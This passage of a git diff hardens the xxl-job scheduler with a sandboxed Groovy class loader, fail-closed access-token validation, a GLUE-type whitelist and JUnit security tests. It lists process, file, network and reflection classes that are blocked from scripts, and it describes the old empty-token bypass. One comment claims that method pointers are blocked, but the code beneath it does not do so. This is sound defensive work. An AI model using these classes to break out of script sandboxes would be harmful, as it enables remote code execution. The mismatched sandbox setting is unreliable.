+ * @throws SecurityException if usage of this expression class is forbidden + */ + protected void assertExpressionAuthorized(final Expression expression) throws SecurityException { + final Class clazz = expression.getClass(); + if (disallowedExpressions != null && disallowedExpressions.contains(clazz)) { + throw new SecurityException(clazz.getSimpleName() + "s are not allowed: " + expression.getText()); + } else if (allowedExpressions != null && !allowedExpressions.contains(clazz)) { + throw new SecurityException(clazz.getSimpleName() + "s are not allowed: " + expression.getText()); + } + for (ExpressionChecker expressionChecker : expressionCheckers) { + if (!expressionChecker.isAuthorized(expression)) { + throw new SecurityException("Expression [" + clazz.getSimpleName() + "] is not allowed: " + expression.getText()); + } + } + if (isIndirectImportCheckEnabled) { + try { + if (expression instanceof ConstructorCallExpression) { + assertImportIsAllowed(expression.getType().getName()); + } else if (expression instanceof MethodCallExpression) { + MethodCallExpression expr = (MethodCallExpression) expression; + ClassNode objectExpressionType = expr.getObjectExpression().getType(); + final String typename = getExpressionType(objectExpressionType).getName(); + assertImportIsAllowed(typename); + assertStaticImportIsAllowed(expr.getMethodAsString(), typename); + } else if (expression instanceof StaticMethodCallExpression) { + StaticMethodCallExpression expr = (StaticMethodCallExpression) expression; + final String typename = expr.getOwnerType().getName(); + assertImportIsAllowed(typename); + assertStaticImportIsAllowed(expr.getMethod(), typename); + } else if (expression instanceof MethodPointerExpression) { + MethodPointerExpression expr = (MethodPointerExpression) expression; + final String typename = expr.getType().getName(); + assertImportIsAllowed(typename); + assertStaticImportIsAllowed(expr.getText(), typename); + } + } catch (SecurityException e) { + throw new SecurityException("Indirect import checks prevents usage of expression", e); + } + } + } + + protected ClassNode getExpressionType(ClassNode objectExpressionType) { + return objectExpressionType.isArray() ? getExpressionType(objectExpressionType.getComponentType()) : objectExpressionType; + } + + /** + * Checks that a given token is either in the allowed list or not in the disallowed list. + * + * @param token the token to be checked + * @throws SecurityException if usage of this token is forbidden + */ + protected void assertTokenAuthorized(final Token token) throws SecurityException { + final int value = token.getType(); + if (disallowedTokens != null && disallowedTokens.contains(value)) { + throw new SecurityException("Token " + token + " is not allowed"); + } else if (allowedTokens != null && !allowedTokens.contains(value)) { + throw new SecurityException("Token " + token + " is not allowed"); + } + } + + @Override + public void visitBlockStatement(final BlockStatement block) { + assertStatementAuthorized(block); + for (Statement statement : block.getStatements()) { + statement.visit(this); + } + } + + @Override + public void visitForLoop(final ForStatement forLoop) { + assertStatementAuthorized(forLoop); + forLoop.getCollectionExpression().visit(this); + forLoop.getLoopBlock().visit(this); + } + + @Override + public void visitWhileLoop(final WhileStatement loop) { + assertStatementAuthorized(loop); + loop.getBooleanExpression().visit(this); + loop.getLoopBlock().visit(this); + } + + @Override + public void visitDoWhileLoop(final DoWhileStatement loop) { + assertStatementAuthorized(loop); + loop.getBooleanExpression().visit(this); + loop.getLoopBlock().visit(this); + } + + @Override + public void visitIfElse(final IfStatement ifElse) { + assertStatementAuthorized(ifElse); + ifElse.getBooleanExpression().visit(this); + ifElse.getIfBlock().visit(this); + ifElse.getElseBlock().visit(this); + } + + @Override + public void visitExpressionStatement(final ExpressionStatement statement) { + assertStatementAuthorized(statement); + statement.getExpression().visit(this); + } + + @Override + public void visitReturnStatement(final ReturnStatement statement) { + assertStatementAuthorized(statement); + statement.getExpression().visit(this); + } + + @Override + public void visitAssertStatement(final AssertStatement statement) { + assertStatementAuthorized(statement); + statement.getBooleanExpression().visit(this); + statement.getMessageExpression().visit(this); + } + + @Override + public void visitTryCatchFinally(final TryCatchStatement statement) { + assertStatementAuthorized(statement); + statement.getTryStatement().visit(this); + for (CatchStatement catchStatement : statement.getCatchStatements()) { + catchStatement.visit(this); + } + statement.getFinallyStatement().visit(this); + } + + @Override + public void visitEmptyStatement(EmptyStatement statement) { + // noop + } + + @Override + public void visitSwitch(final SwitchStatement statement) { + assertStatementAuthorized(statement); + statement.getExpression().visit(this); + for (CaseStatement caseStatement : statement.getCaseStatements()) { + caseStatement.visit(this); + } + statement.getDefaultStatement().visit(this); + } + + @Override + public void visitCaseStatement(final CaseStatement statement) { + assertStatementAuthorized(statement); + statement.getExpression().visit(this); + statement.getCode().visit(this); + } + + @Override + public void visitBreakStatement(final BreakStatement statement) { + assertStatementAuthorized(statement); + } + + @Override + public void visitContinueStatement(final ContinueStatement statement) { + assertStatementAuthorized(statement); + } + + @Override + public void visitThrowStatement(final ThrowStatement statement) { + assertStatementAuthorized(statement); + statement.getExpression().visit(this); + } + + @Override + public void visitSynchronizedStatement(final SynchronizedStatement statement) { + assertStatementAuthorized(statement); + statement.getExpression().visit(this); + statement.getCode().visit(this); + } + + @Override + public void visitCatchStatement(final CatchStatement statement) { + assertStatementAuthorized(statement); + statement.getCode().visit(this); + } + + @Override + public void visitMethodCallExpression(final MethodCallExpression call) { + assertExpressionAuthorized(call); + Expression receiver = call.getObjectExpression(); + final String typeName = receiver.getType().getName(); + if (allowedReceivers != null && !allowedReceivers.contains(typeName)) { + throw new SecurityException("Method calls not allowed on [" + typeName + "]"); + } else if (disallowedReceivers != null && disallowedReceivers.contains(typeName)) { + throw new SecurityException("Method calls not allowed on [" + typeName + "]"); + } + receiver.visit(this); + final Expression method = call.getMethod(); + checkConstantTypeIfNotMethodNameOrProperty(method); + call.getArguments().visit(this); + } + + @Override + public void visitStaticMethodCallExpression(final StaticMethodCallExpression call) { + assertExpressionAuthorized(call); + final String typeName = call.getOwnerType().getName(); + if (allowedReceivers != null && !allowedReceivers.contains(typeName)) { + throw new SecurityException("Method calls not allowed on [" + typeName + "]"); + } else if (disallowedReceivers != null && disallowedReceivers.contains(typeName)) { + throw new SecurityException("Method calls not allowed on [" + typeName + "]"); + } + call.getArguments().visit(this); + } + + @Override + public void visitConstructorCallExpression(final ConstructorCallExpression call) { + assertExpressionAuthorized(call); + call.getArguments().visit(this); + } + + @Override + public void visitTernaryExpression(final TernaryExpression expression) { + assertExpressionAuthorized(expression); + expression.getBooleanExpression().visit(this); + expression.getTrueExpression().visit(this); + expression.getFalseExpression().visit(this); + } + + @Override + public void visitShortTernaryExpression(final ElvisOperatorExpression expression) { + assertExpressionAuthorized(expression); + visitTernaryExpression(expression); + } + + @Override + public void visitBinaryExpression(final BinaryExpression expression) { + assertExpressionAuthorized(expression); + assertTokenAuthorized(expression.getOperation()); + expression.getLeftExpression().visit(this); + expression.getRightExpression().visit(this); + } + + @Override + public void visitPrefixExpression(final PrefixExpression expression) { + assertExpressionAuthorized(expression); + assertTokenAuthorized(expression.getOperation()); + expression.getExpression().visit(this); + } + + @Override + public void visitPostfixExpression(final PostfixExpression expression) { + assertExpressionAuthorized(expression); + assertTokenAuthorized(expression.getOperation()); + expression.getExpression().visit(this); + } + + @Override + public void visitBooleanExpression(final BooleanExpression expression) { + assertExpressionAuthorized(expression); + expression.getExpression().visit(this); + } + + @Override + public void visitClosureExpression(final ClosureExpression expression) { + assertExpressionAuthorized(expression); + if (!isClosuresAllowed) throw new SecurityException("Closures are not allowed"); + expression.getCode().visit(this); + } + + @Override + public void visitLambdaExpression(LambdaExpression expression) { + visitClosureExpression(expression); + } + + @Override + public void visitTupleExpression(final TupleExpression expression) { + assertExpressionAuthorized(expression); + visitListOfExpressions(expression.getExpressions()); + } + + @Override + public void visitMapExpression(final MapExpression expression) { + assertExpressionAuthorized(expression); + visitListOfExpressions(expression.getMapEntryExpressions()); + } + + @Override + public void visitMapEntryExpression(final MapEntryExpression expression) { + assertExpressionAuthorized(expression); + expression.getKeyExpression().visit(this); + expression.getValueExpression().visit(this); + } + + @Override + public void visitListExpression(final ListExpression expression) { + assertExpressionAuthorized(expression); + visitListOfExpressions(expression.getExpressions()); + } + + @Override + public void visitRangeExpression(final RangeExpression expression) { + assertExpressionAuthorized(expression); + expression.getFrom().visit(this); + expression.getTo().visit(this); + } + + @Override + public void visitPropertyExpression(final PropertyExpression expression) { + assertExpressionAuthorized(expression); + Expression receiver = expression.getObjectExpression(); + final String typeName = receiver.getType().getName(); + if (allowedReceivers != null && !allowedReceivers.contains(typeName)) { + throw new SecurityException("Property access not allowed on [" + typeName + "]"); + } else if (disallowedReceivers != null && disallowedReceivers.contains(typeName)) { + throw new SecurityException("Property access not allowed on [" + typeName + "]"); + } + receiver.visit(this); + final Expression property = expression.getProperty(); + checkConstantTypeIfNotMethodNameOrProperty(property); + } + + private void checkConstantTypeIfNotMethodNameOrProperty(final Expression expr) { + if (expr instanceof ConstantExpression) { + if (!"java.lang.String".equals(expr.getType().getName())) { + expr.visit(this); + } + } else { + expr.visit(this); + } + } + + @Override + public void visitAttributeExpression(final AttributeExpression expression) { + assertExpressionAuthorized(expression); + Expression receiver = expression.getObjectExpression(); + final String typeName = receiver.getType().getName(); + if (allowedReceivers != null && !allowedReceivers.contains(typeName)) { + throw new SecurityException("Attribute access not allowed on [" + typeName + "]"); + } else if (disallowedReceivers != null && disallowedReceivers.contains(typeName)) { + throw new SecurityException("Attribute access not allowed on [" + typeName + "]"); + } + receiver.visit(this); + final Expression property = expression.getProperty(); + checkConstantTypeIfNotMethodNameOrProperty(property); + } + + @Override + public void visitFieldExpression(final FieldExpression expression) { + assertExpressionAuthorized(expression); + } + + @Override + public void visitMethodPointerExpression(final MethodPointerExpression expression) { + assertExpressionAuthorized(expression); + expression.getExpression().visit(this); + expression.getMethodName().visit(this); + } + + @Override + public void visitMethodReferenceExpression(final MethodReferenceExpression expression) { + visitMethodPointerExpression(expression); + } + + @Override + public void visitConstantExpression(final ConstantExpression expression) { + assertExpressionAuthorized(expression); + final String type = expression.getType().getName(); + if (allowedConstantTypes != null && !allowedConstantTypes.contains(type)) { + throw new SecurityException("Constant expression type [" + type + "] is not allowed"); + } + if (disallowedConstantTypes != null && disallowedConstantTypes.contains(type)) { + throw new SecurityException("Constant expression type [" + type + "] is not allowed"); + } + } + + @Override + public void visitClassExpression(final ClassExpression expression) { + assertExpressionAuthorized(expression); + } + + @Override + public void visitVariableExpression(final VariableExpression expression) { + assertExpressionAuthorized(expression); + final String type = expression.getType().getName(); + if (allowedConstantTypes != null && !allowedConstantTypes.contains(type)) { + throw new SecurityException("Usage of variables of type [" + type + "] is not allowed"); + } + if (disallowedConstantTypes != null && disallowedConstantTypes.contains(type)) { + throw new SecurityException("Usage of variables of type [" + type + "] is not allowed"); + } + } + + @Override + public void visitDeclarationExpression(final DeclarationExpression expression) { + assertExpressionAuthorized(expression); + visitBinaryExpression(expression); + } + + @Override + public void visitGStringExpression(final GStringExpression expression) { + assertExpressionAuthorized(expression); + visitListOfExpressions(expression.getStrings()); + visitListOfExpressions(expression.getValues()); + } + + @Override + public void visitArrayExpression(final ArrayExpression expression) { + assertExpressionAuthorized(expression); + visitListOfExpressions(expression.getExpressions()); + visitListOfExpressions(expression.getSizeExpression()); + } + + @Override + public void visitSpreadExpression(final SpreadExpression expression) { + assertExpressionAuthorized(expression); + expression.getExpression().visit(this); + } + + @Override + public void visitSpreadMapExpression(final SpreadMapExpression expression) { + assertExpressionAuthorized(expression); + expression.getExpression().visit(this); + } + + @Override + public void visitNotExpression(final NotExpression expression) { + assertExpressionAuthorized(expression); + expression.getExpression().visit(this); + } + + @Override + public void visitUnaryMinusExpression(final UnaryMinusExpression expression) { + assertExpressionAuthorized(expression); + expression.getExpression().visit(this); + } + + @Override + public void visitUnaryPlusExpression(final UnaryPlusExpression expression) { + assertExpressionAuthorized(expression); + expression.getExpression().visit(this); + } + + @Override + public void visitBitwiseNegationExpression(final BitwiseNegationExpression expression) { + assertExpressionAuthorized(expression); + expression.getExpression().visit(this); + } + + @Override + public void visitCastExpression(final CastExpression expression) { + assertExpressionAuthorized(expression); + expression.getExpression().visit(this); + } + + @Override + public void visitArgumentlistExpression(final ArgumentListExpression expression) { + assertExpressionAuthorized(expression); + visitTupleExpression(expression); + } + + @Override + public void visitClosureListExpression(final ClosureListExpression closureListExpression) { + assertExpressionAuthorized(closureListExpression); + if (!isClosuresAllowed) throw new SecurityException("Closures are not allowed"); + visitListOfExpressions(closureListExpression.getExpressions()); + } + + @Override + public void visitBytecodeExpression(final BytecodeExpression expression) { + assertExpressionAuthorized(expression); + } + } + + /** + * This interface allows the user to provide a custom expression checker if the dis/allowed expression lists are not + * sufficient + */ + @FunctionalInterface + public interface ExpressionChecker { + boolean isAuthorized(Expression expression); + } + + /** + * This interface allows the user to provide a custom statement checker if the dis/allowed statement lists are not + * sufficient + */ + @FunctionalInterface + public interface StatementChecker { + boolean isAuthorized(Statement expression); + } +} diff --git a/xxl-job-admin/src/main/resources/application.properties b/xxl-job-admin/src/main/resources/application.properties index 4ea786994e..bb6594694d 100644 --- a/xxl-job-admin/src/main/resources/application.properties +++ b/xxl-job-admin/src/main/resources/application.properties @@ -51,8 +51,8 @@ spring.mail.properties.mail.smtp.starttls.enable=true spring.mail.properties.mail.smtp.starttls.required=true spring.mail.properties.mail.smtp.socketFactory.class=javax.net.ssl.SSLSocketFactory -### xxl-job, access token -xxl.job.accessToken=default_token +### xxl-job, access token (REQUIRED: set a strong, unique, random token — do NOT use default_token) +xxl.job.accessToken=${XXL_JOB_ACCESS_TOKEN:} ### xxl-job, timeout by second, default 3s xxl.job.timeout=3 diff --git a/xxl-job-core/pom.xml b/xxl-job-core/pom.xml index cb1620d155..b0bd9c7d23 100644 --- a/xxl-job-core/pom.xml +++ b/xxl-job-core/pom.xml @@ -59,6 +59,13 @@ provided + + + org.junit.jupiter + junit-jupiter-engine + test + + \ No newline at end of file diff --git a/xxl-job-core/src/main/java/com/xxl/job/core/executor/XxlJobExecutor.java b/xxl-job-core/src/main/java/com/xxl/job/core/executor/XxlJobExecutor.java index 9d27cdd010..a229b9caf3 100644 --- a/xxl-job-core/src/main/java/com/xxl/job/core/executor/XxlJobExecutor.java +++ b/xxl-job-core/src/main/java/com/xxl/job/core/executor/XxlJobExecutor.java @@ -17,9 +17,7 @@ import org.slf4j.LoggerFactory; import java.lang.reflect.Method; -import java.util.ArrayList; -import java.util.List; -import java.util.Map; +import java.util.*; import java.util.concurrent.ConcurrentHashMap; import java.util.concurrent.ConcurrentMap; import java.util.concurrent.TimeUnit; @@ -47,6 +45,12 @@ public class XxlJobExecutor { private String logPath; private int logRetentionDays; + /** + * Allowed GLUE types (comma-separated). Only types in this set can be executed. + * Default: "BEAN,GLUE_GROOVY" (script types like Shell/Python/Node/PHP/PowerShell require explicit opt-in). + */ + private static volatile Set allowedGlueTypes = new HashSet<>(Arrays.asList("BEAN", "GLUE_GROOVY")); + public void setAdminAddresses(String adminAddresses) { this.adminAddresses = adminAddresses; } @@ -78,6 +82,28 @@ public void setLogRetentionDays(int logRetentionDays) { this.logRetentionDays = logRetentionDays; } + /** + * Set allowed GLUE types (comma-separated enum names). + * Example: "BEAN,GLUE_GROOVY" or "BEAN,GLUE_GROOVY,GLUE_SHELL,GLUE_PYTHON" + */ + public void setAllowedGlueTypes(String allowedGlueTypesStr) { + if (allowedGlueTypesStr != null && !allowedGlueTypesStr.trim().isEmpty()) { + Set types = new HashSet<>(); + for (String type : allowedGlueTypesStr.split(",")) { + String trimmed = type.trim(); + if (!trimmed.isEmpty()) { + types.add(trimmed); + } + } + allowedGlueTypes = types; + logger.info(">>>>>>>>>>> xxl-job allowed GLUE types: {}", allowedGlueTypes); + } + } + + public static Set getAllowedGlueTypes() { + return allowedGlueTypes; + } + // ---------------------- start + stop ---------------------- public void start() throws Exception { @@ -201,9 +227,9 @@ private void initEmbedServer(String address, String ip, int port, String appname address = "http://{ip_port}/".replace("{ip_port}", ip_port_address); } - // accessToken + // accessToken: fail-closed — reject all requests if not configured if (StringTool.isBlank(accessToken)) { - logger.warn(">>>>>>>>>>> xxl-job accessToken is empty. To ensure system security, please set the accessToken."); + logger.error(">>>>>>>>>>> xxl-job accessToken is empty. The executor will reject ALL requests until a valid accessToken is configured via 'xxl.job.accessToken'."); } // start diff --git a/xxl-job-core/src/main/java/com/xxl/job/core/glue/GlueFactory.java b/xxl-job-core/src/main/java/com/xxl/job/core/glue/GlueFactory.java index da2037f42d..e2d466b56f 100644 --- a/xxl-job-core/src/main/java/com/xxl/job/core/glue/GlueFactory.java +++ b/xxl-job-core/src/main/java/com/xxl/job/core/glue/GlueFactory.java @@ -3,9 +3,15 @@ import com.xxl.job.core.glue.impl.SpringGlueFactory; import com.xxl.job.core.handler.IJobHandler; import groovy.lang.GroovyClassLoader; +import org.codehaus.groovy.control.CompilerConfiguration; +import org.codehaus.groovy.control.customizers.SecureASTCustomizer; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; import java.math.BigInteger; import java.security.MessageDigest; +import java.util.Arrays; +import java.util.List; import java.util.concurrent.ConcurrentHashMap; import java.util.concurrent.ConcurrentMap; @@ -15,8 +21,85 @@ * @author xuxueli 2016-1-2 20:02:27 */ public class GlueFactory { + private static final Logger logger = LoggerFactory.getLogger(GlueFactory.class); + /** + * Disallowed imports — classes that must not be used in GLUE Groovy scripts. + * Blocks process execution, file I/O, network, reflection, and classloader abuse. + * NOTE: these constants MUST be defined before glueFactory to avoid static init order issues. + */ + private static final List DISALLOWED_IMPORTS = Arrays.asList( + // Process execution + "java.lang.Runtime", + "java.lang.ProcessBuilder", + // File system access + "java.io.File", + "java.io.FileInputStream", + "java.io.FileOutputStream", + "java.io.FileReader", + "java.io.FileWriter", + "java.io.RandomAccessFile", + "java.nio.file.Files", + "java.nio.file.Paths", + "java.nio.file.Path", + // Network access + "java.net.Socket", + "java.net.ServerSocket", + "java.net.URL", + "java.net.URLConnection", + "java.net.HttpURLConnection", + // Reflection & classloading + "java.lang.reflect.Method", + "java.lang.reflect.Field", + "java.lang.reflect.Constructor", + "java.lang.ClassLoader", + "java.lang.Thread", + "java.lang.ThreadGroup" + ); + + /** Disallowed star imports (wildcard). */ + private static final List DISALLOWED_STAR_IMPORTS = Arrays.asList( + "java.lang.reflect", + "java.nio.file", + "java.net" + ); + + /** + * Create a sandboxed GroovyClassLoader with SecureASTCustomizer. + */ + public static GroovyClassLoader createSandboxedClassLoader() { + SecureASTCustomizer secure = new SecureASTCustomizer(); + + // Block dangerous imports + secure.setDisallowedImports(DISALLOWED_IMPORTS); + secure.setDisallowedStarImports(DISALLOWED_STAR_IMPORTS); + secure.setDisallowedStaticImports(DISALLOWED_IMPORTS); + secure.setDisallowedStaticStarImports(DISALLOWED_STAR_IMPORTS); + // Block dangerous receiver types — prevents calling methods on these classes + secure.setDisallowedReceivers(Arrays.asList( + "java.lang.Runtime", + "java.lang.ProcessBuilder", + "java.lang.System", + "java.lang.ClassLoader", + "java.lang.Thread", + "java.lang.ThreadGroup", + "java.io.File", + "java.nio.file.Files", + "java.nio.file.Paths" + )); + + // Disallow method pointer expressions (e.g., Runtime.&exec) + secure.setMethodDefinitionAllowed(true); + + CompilerConfiguration config = new CompilerConfiguration(); + config.addCompilationCustomizers(secure); + + logger.info(">>>>>>>>>>> xxl-glue, sandboxed GroovyClassLoader created with SecureASTCustomizer"); + return new GroovyClassLoader(GlueFactory.class.getClassLoader(), config); + } + + // Singleton — must be initialized AFTER the static constants above private static GlueFactory glueFactory = new GlueFactory(); public static GlueFactory getInstance(){ return glueFactory; @@ -35,11 +118,11 @@ public static void refreshInstance(int type){ } } - /** - * groovy class loader + * Sandboxed groovy class loader — blocks dangerous operations like Runtime.exec, + * ProcessBuilder, file I/O, network, and reflection. */ - private GroovyClassLoader groovyClassLoader = new GroovyClassLoader(); + private GroovyClassLoader groovyClassLoader = createSandboxedClassLoader(); private ConcurrentMap> CLASS_CACHE = new ConcurrentHashMap<>(); /** diff --git a/xxl-job-core/src/main/java/com/xxl/job/core/openapi/impl/ExecutorBizImpl.java b/xxl-job-core/src/main/java/com/xxl/job/core/openapi/impl/ExecutorBizImpl.java index c5afe7db0a..5251f689b2 100644 --- a/xxl-job-core/src/main/java/com/xxl/job/core/openapi/impl/ExecutorBizImpl.java +++ b/xxl-job-core/src/main/java/com/xxl/job/core/openapi/impl/ExecutorBizImpl.java @@ -17,6 +17,7 @@ import org.slf4j.LoggerFactory; import java.util.Date; +import java.util.Set; /** * Created by xuxueli on 17/3/1. @@ -52,8 +53,16 @@ public Response run(TriggerRequest triggerRequest) { IJobHandler jobHandler = jobThread!=null?jobThread.getHandler():null; String removeOldReason = null; - // valid:jobHandler + jobThread + // Security: check allowed GLUE types GlueTypeEnum glueTypeEnum = GlueTypeEnum.match(triggerRequest.getGlueType()); + Set allowedTypes = XxlJobExecutor.getAllowedGlueTypes(); + if (glueTypeEnum != null && allowedTypes != null && !allowedTypes.contains(glueTypeEnum.name())) { + logger.warn(">>>>>>>>>>> xxl-job GLUE type [{}] is not in allowed types: {}", glueTypeEnum.name(), allowedTypes); + return Response.of(XxlJobContext.HANDLE_CODE_FAIL, + "glueType[" + triggerRequest.getGlueType() + "] is not allowed. Allowed types: " + allowedTypes); + } + + // valid:jobHandler + jobThread if (GlueTypeEnum.BEAN == glueTypeEnum) { // new jobhandler diff --git a/xxl-job-core/src/main/java/com/xxl/job/core/server/EmbedServer.java b/xxl-job-core/src/main/java/com/xxl/job/core/server/EmbedServer.java index c37cd513f1..9f976203e2 100644 --- a/xxl-job-core/src/main/java/com/xxl/job/core/server/EmbedServer.java +++ b/xxl-job-core/src/main/java/com/xxl/job/core/server/EmbedServer.java @@ -21,6 +21,7 @@ import org.slf4j.Logger; import org.slf4j.LoggerFactory; +import java.net.InetSocketAddress; import java.util.concurrent.*; /** @@ -152,12 +153,20 @@ protected void channelRead0(final ChannelHandlerContext ctx, FullHttpRequest msg boolean keepAlive = HttpUtil.isKeepAlive(msg); String accessTokenReq = msg.headers().get(Const.XXL_JOB_ACCESS_TOKEN); + // resolve remote address for audit logging + String remoteAddress = "unknown"; + if (ctx.channel().remoteAddress() instanceof InetSocketAddress) { + InetSocketAddress addr = (InetSocketAddress) ctx.channel().remoteAddress(); + remoteAddress = addr.getAddress().getHostAddress() + ":" + addr.getPort(); + } + final String finalRemoteAddress = remoteAddress; + // invoke bizThreadPool.execute(new Runnable() { @Override public void run() { // do invoke - Object responseObj = dispatchRequest(httpMethod, uri, requestData, accessTokenReq); + Object responseObj = dispatchRequest(httpMethod, uri, requestData, accessTokenReq, finalRemoteAddress); // to json String responseJson = GsonTool.toJson(responseObj); @@ -168,7 +177,7 @@ public void run() { }); } - private Object dispatchRequest(HttpMethod httpMethod, String uri, String requestData, String accessTokenReq) { + private Object dispatchRequest(HttpMethod httpMethod, String uri, String requestData, String accessTokenReq, String remoteAddress) { // valid if (HttpMethod.POST != httpMethod) { return Response.ofFail("invalid request, HttpMethod not support."); @@ -176,10 +185,12 @@ private Object dispatchRequest(HttpMethod httpMethod, String uri, String request if (uri == null || uri.trim().isEmpty()) { return Response.ofFail( "invalid request, uri-mapping empty."); } - if (accessToken != null - && !accessToken.trim().isEmpty() - && !accessToken.equals(accessTokenReq)) { - return Response.ofFail("The access token is wrong."); + + // Security: fail-closed token validation — reject when token is not configured + String tokenError = validateAccessToken(accessToken, accessTokenReq); + if (tokenError != null) { + logger.warn(">>>>>>>>>>> xxl-job access token validation failed: {}, remote={}, uri={}", tokenError, remoteAddress, uri); + return Response.ofFail(tokenError); } // services mapping @@ -192,6 +203,11 @@ private Object dispatchRequest(HttpMethod httpMethod, String uri, String request return executorBiz.idleBeat(idleBeatParam); case "/run": TriggerRequest triggerParam = GsonTool.fromJson(requestData, TriggerRequest.class); + // Security: audit logging for /run requests + logger.info(">>>>>>>>>>> xxl-job /run request received: jobId={}, glueType={}, remote={}", + triggerParam != null ? triggerParam.getJobId() : "null", + triggerParam != null ? triggerParam.getGlueType() : "null", + remoteAddress); return executorBiz.run(triggerParam); case "/kill": KillRequest killParam = GsonTool.fromJson(requestData, KillRequest.class); @@ -208,6 +224,22 @@ private Object dispatchRequest(HttpMethod httpMethod, String uri, String request } } + /** + * Validate access token with fail-closed logic. + * Returns error message if validation fails, null if passed. + */ + public static String validateAccessToken(String serverToken, String requestToken) { + // Fail-closed: reject if server token is not configured + if (serverToken == null || serverToken.trim().isEmpty()) { + return "The access token is not configured. For security, all requests are rejected. Please configure 'xxl.job.accessToken'."; + } + // Reject if request token is missing or does not match + if (requestToken == null || !serverToken.equals(requestToken)) { + return "The access token is wrong."; + } + return null; + } + /** * write response */ diff --git a/xxl-job-core/src/test/java/com/xxl/job/core/security/AccessTokenSecurityTest.java b/xxl-job-core/src/test/java/com/xxl/job/core/security/AccessTokenSecurityTest.java new file mode 100644 index 0000000000..4a030e3ba6 --- /dev/null +++ b/xxl-job-core/src/test/java/com/xxl/job/core/security/AccessTokenSecurityTest.java @@ -0,0 +1,113 @@ +package com.xxl.job.core.security; + +import com.xxl.job.core.server.EmbedServer; +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Test; + +import static org.junit.jupiter.api.Assertions.*; + +/** + * Security tests for the fail-closed access token validation in EmbedServer. + * + * Verifies that: + * 1. Null/empty server token rejects all requests (fail-closed) + * 2. Correct token is accepted + * 3. Wrong/missing request token is rejected + */ +@DisplayName("Access Token Security Tests") +class AccessTokenSecurityTest { + + // ==================== Fail-Closed: Server Token Not Configured ==================== + + @Test + @DisplayName("Reject when server token is null (fail-closed)") + void testServerTokenNull_shouldReject() { + String result = EmbedServer.EmbedHttpServerHandler.validateAccessToken(null, "any_token"); + assertNotNull(result, "Should return error when server token is null"); + assertTrue(result.contains("not configured"), "Error should mention token not configured"); + } + + @Test + @DisplayName("Reject when server token is empty string (fail-closed)") + void testServerTokenEmpty_shouldReject() { + String result = EmbedServer.EmbedHttpServerHandler.validateAccessToken("", "any_token"); + assertNotNull(result, "Should return error when server token is empty"); + assertTrue(result.contains("not configured"), "Error should mention token not configured"); + } + + @Test + @DisplayName("Reject when server token is whitespace only (fail-closed)") + void testServerTokenWhitespace_shouldReject() { + String result = EmbedServer.EmbedHttpServerHandler.validateAccessToken(" ", "any_token"); + assertNotNull(result, "Should return error when server token is whitespace"); + assertTrue(result.contains("not configured"), "Error should mention token not configured"); + } + + // ==================== Request Token Validation ==================== + + @Test + @DisplayName("Reject when request token is null") + void testRequestTokenNull_shouldReject() { + String result = EmbedServer.EmbedHttpServerHandler.validateAccessToken("my_secret_token", null); + assertNotNull(result, "Should return error when request token is null"); + assertTrue(result.contains("wrong"), "Error should mention token is wrong"); + } + + @Test + @DisplayName("Reject when request token does not match server token") + void testRequestTokenWrong_shouldReject() { + String result = EmbedServer.EmbedHttpServerHandler.validateAccessToken("my_secret_token", "wrong_token"); + assertNotNull(result, "Should return error when tokens don't match"); + assertTrue(result.contains("wrong"), "Error should mention token is wrong"); + } + + @Test + @DisplayName("Reject when request token is empty but server token is set") + void testRequestTokenEmpty_shouldReject() { + String result = EmbedServer.EmbedHttpServerHandler.validateAccessToken("my_secret_token", ""); + assertNotNull(result, "Should return error when request token is empty"); + } + + // ==================== Positive Cases: Normal Business Function ==================== + + @Test + @DisplayName("Accept when server token matches request token") + void testTokenMatch_shouldAccept() { + String result = EmbedServer.EmbedHttpServerHandler.validateAccessToken("my_secret_token", "my_secret_token"); + assertNull(result, "Should return null (no error) when tokens match"); + } + + @Test + @DisplayName("Accept with strong token value") + void testStrongToken_shouldAccept() { + String strongToken = "a7f3b2c1-d4e5-6789-abcd-ef0123456789"; + String result = EmbedServer.EmbedHttpServerHandler.validateAccessToken(strongToken, strongToken); + assertNull(result, "Should accept with strong token"); + } + + // ==================== Regression: Old Bypass No Longer Works ==================== + + @Test + @DisplayName("Regression: null server token no longer allows any request through") + void testRegressionNullTokenBypass() { + // Old code: if (token != null && !token.isEmpty() && !token.equals(req)) — null token = all pass + // New code: null token = reject all + String result = EmbedServer.EmbedHttpServerHandler.validateAccessToken(null, null); + assertNotNull(result, "Null server token should no longer allow requests"); + } + + @Test + @DisplayName("Regression: empty server token no longer allows any request through") + void testRegressionEmptyTokenBypass() { + String result = EmbedServer.EmbedHttpServerHandler.validateAccessToken("", "default_token"); + assertNotNull(result, "Empty server token should no longer allow requests"); + } + + @Test + @DisplayName("Regression: default_token should not be treated specially") + void testDefaultTokenStillWorks() { + // If someone explicitly configures default_token (not recommended), it should still work + String result = EmbedServer.EmbedHttpServerHandler.validateAccessToken("default_token", "default_token"); + assertNull(result, "default_token should still work if explicitly configured and matched"); + } +} diff --git a/xxl-job-core/src/test/java/com/xxl/job/core/security/GlueTypeWhitelistSecurityTest.java b/xxl-job-core/src/test/java/com/xxl/job/core/security/GlueTypeWhitelistSecurityTest.java new file mode 100644 index 0000000000..47d00fe4c8 --- /dev/null +++ b/xxl-job-core/src/test/java/com/xxl/job/core/security/GlueTypeWhitelistSecurityTest.java @@ -0,0 +1,160 @@ +package com.xxl.job.core.security; + +import com.xxl.job.core.executor.XxlJobExecutor; +import com.xxl.job.core.glue.GlueTypeEnum; +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Test; + +import java.util.Set; + +import static org.junit.jupiter.api.Assertions.*; + +/** + * Security tests for the GLUE type whitelist in XxlJobExecutor. + * + * Verifies that: + * 1. Default whitelist only allows BEAN and GLUE_GROOVY + * 2. Script types (Shell/Python/Node/PHP/PowerShell) are blocked by default + * 3. Whitelist is configurable + * 4. Invalid types in config are silently ignored (no crash) + */ +@DisplayName("GLUE Type Whitelist Security Tests") +class GlueTypeWhitelistSecurityTest { + + // ==================== Default Whitelist ==================== + + @Test + @DisplayName("Default whitelist includes BEAN") + void testDefaultIncludesBean() { + Set allowed = XxlJobExecutor.getAllowedGlueTypes(); + assertTrue(allowed.contains("BEAN"), "BEAN should be in default whitelist"); + } + + @Test + @DisplayName("Default whitelist includes GLUE_GROOVY") + void testDefaultIncludesGroovy() { + Set allowed = XxlJobExecutor.getAllowedGlueTypes(); + assertTrue(allowed.contains("GLUE_GROOVY"), "GLUE_GROOVY should be in default whitelist"); + } + + @Test + @DisplayName("Default whitelist does NOT include GLUE_SHELL") + 